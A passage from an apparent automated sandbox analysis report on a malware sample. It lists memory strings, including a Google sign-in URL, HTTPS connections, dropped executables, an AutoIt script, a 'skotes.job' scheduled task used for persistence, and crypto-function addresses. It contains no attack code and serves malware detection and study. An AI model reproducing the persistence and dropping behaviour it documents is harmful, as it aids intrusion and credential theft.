0000001A.00000003.3105500898.000001EE30A20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3150497786.000001EE2BB8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3134919145.000001EE1E7C9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE304C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3283280261.000001EE32203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE311C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060047008.000001EE368FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.2984648430.000001E083B9A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2992611980.0000023AB0A49000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3134919145.000001EE1E7C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50039 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 3cfbb3a6fb.exe, 0000000D.00000000.2950542078.0000000000B52000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_2b0103c1-8
Source: 3cfbb3a6fb.exe, 0000000D.00000000.2950542078.0000000000B52000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_9146be96-2

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name:
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name: .idata
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name:
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: .idata
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name:
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name:
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: .rsrc
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: .idata
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name:
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: .rsrc
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name:
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: .idata
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name:
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name:
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: .rsrc
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: .idata
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name:
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name:
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name: .idata

PE file has a writeable .text section

Source: num.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num[1].exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Creates files inside the system directory

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Detected potential crypto function

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C63AC60	4_2_6C63AC60
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C70AC30	4_2_6C70AC30
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6F6C00	4_2_6C6F6C00
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C62ECC0	4_2_6C62ECC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C68ECD0	4_2_6C68ECD0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6FED70	4_2_6C6FED70
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C75AD50	4_2_6C75AD50
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7B8D20	4_2_6C7B8D20
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7BCDC0	4_2_6C7BCDC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C634DB0	4_2_6C634DB0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6C6D90	4_2_6C6C6D90
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6CEE70	4_2_6C6CEE70
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C710E20	4_2_6C710E20
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C63AEC0	4_2_6C63AEC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6D0EC0	4_2_6C6D0EC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6B6E90	4_2_6C6B6E90
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6F2F70	4_2_6C6F2F70
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C69EF40	4_2_6C69EF40
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C770F20	4_2_6C770F20
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C636F10	4_2_6C636F10
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C70EFF0	4_2_6C70EFF0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C630FE0	4_2_6C630FE0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C778FB0	4_2_6C778FB0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C63EFB0	4_2_6C63EFB0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C704840	4_2_6C704840
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C680820	4_2_6C680820
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6BA820	4_2_6C6BA820
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7368E0	4_2_6C7368E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C668960	4_2_6C668960
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C686900	4_2_6C686900
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C74C9E0	4_2_6C74C9E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6649F0	4_2_6C6649F0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6C09A0	4_2_6C6C09A0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6EA9A0	4_2_6C6EA9A0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6F09B0	4_2_6C6F09B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6ACA70	4_2_6C6ACA70
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6E8A30	4_2_6C6E8A30
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6DEA00	4_2_6C6DEA00
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6AEA80	4_2_6C6AEA80
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C736BE0	4_2_6C736BE0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6D0BA0	4_2_6C6D0BA0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C648460	4_2_6C648460
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C694420	4_2_6C694420
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6BA430	4_2_6C6BA430
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6764D0	4_2_6C6764D0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6CA4D0	4_2_6C6CA4D0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C75A480	4_2_6C75A480
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C692560	4_2_6C692560
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6D0570	4_2_6C6D0570
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C778550	4_2_6C778550
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C688540	4_2_6C688540
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C734540	4_2_6C734540
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6FA5E0	4_2_6C6FA5E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6BE5F0	4_2_6C6BE5F0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6245B0	4_2_6C6245B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C68C650	4_2_6C68C650
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C68E6E0	4_2_6C68E6E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6CE6E0	4_2_6C6CE6E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6546D0	4_2_6C6546D0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6B0700	4_2_6C6B0700
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C65A7D0	4_2_6C65A7D0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C67E070	4_2_6C67E070
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6FC000	4_2_6C6FC000
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6F8010	4_2_6C6F8010
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C70C0B0	4_2_6C70C0B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6400B0	4_2_6C6400B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C628090	4_2_6C628090
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C698140	4_2_6C698140
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C714130	4_2_6C714130
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6A6130	4_2_6C6A6130
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6301E0	4_2_6C6301E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6B8260	4_2_6C6B8260
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6C8250	4_2_6C6C8250
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C708220	4_2_6C708220
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6FA210	4_2_6C6FA210
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7B62C0	4_2_6C7B62C0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7022A0	4_2_6C7022A0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6FE2B0	4_2_6C6FE2B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C772370	4_2_6C772370
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C632370	4_2_6C632370
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C74C360	4_2_6C74C360
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6C6370	4_2_6C6C6370
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C638340	4_2_6C638340
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6A2320	4_2_6C6A2320
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6843E0	4_2_6C6843E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6623A0	4_2_6C6623A0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C68E3B0	4_2_6C68E3B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C633C40	4_2_6C633C40
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C759C40	4_2_6C759C40
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C641C30	4_2_6C641C30
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6F1CE0	4_2_6C6F1CE0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C76DCD0	4_2_6C76DCD0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C693D00	4_2_6C693D00
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C701DC0	4_2_6C701DC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C623D80	4_2_6C623D80
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C779D90	4_2_6C779D90
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C78BE70	4_2_6C78BE70
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7B5E60	4_2_6C7B5E60
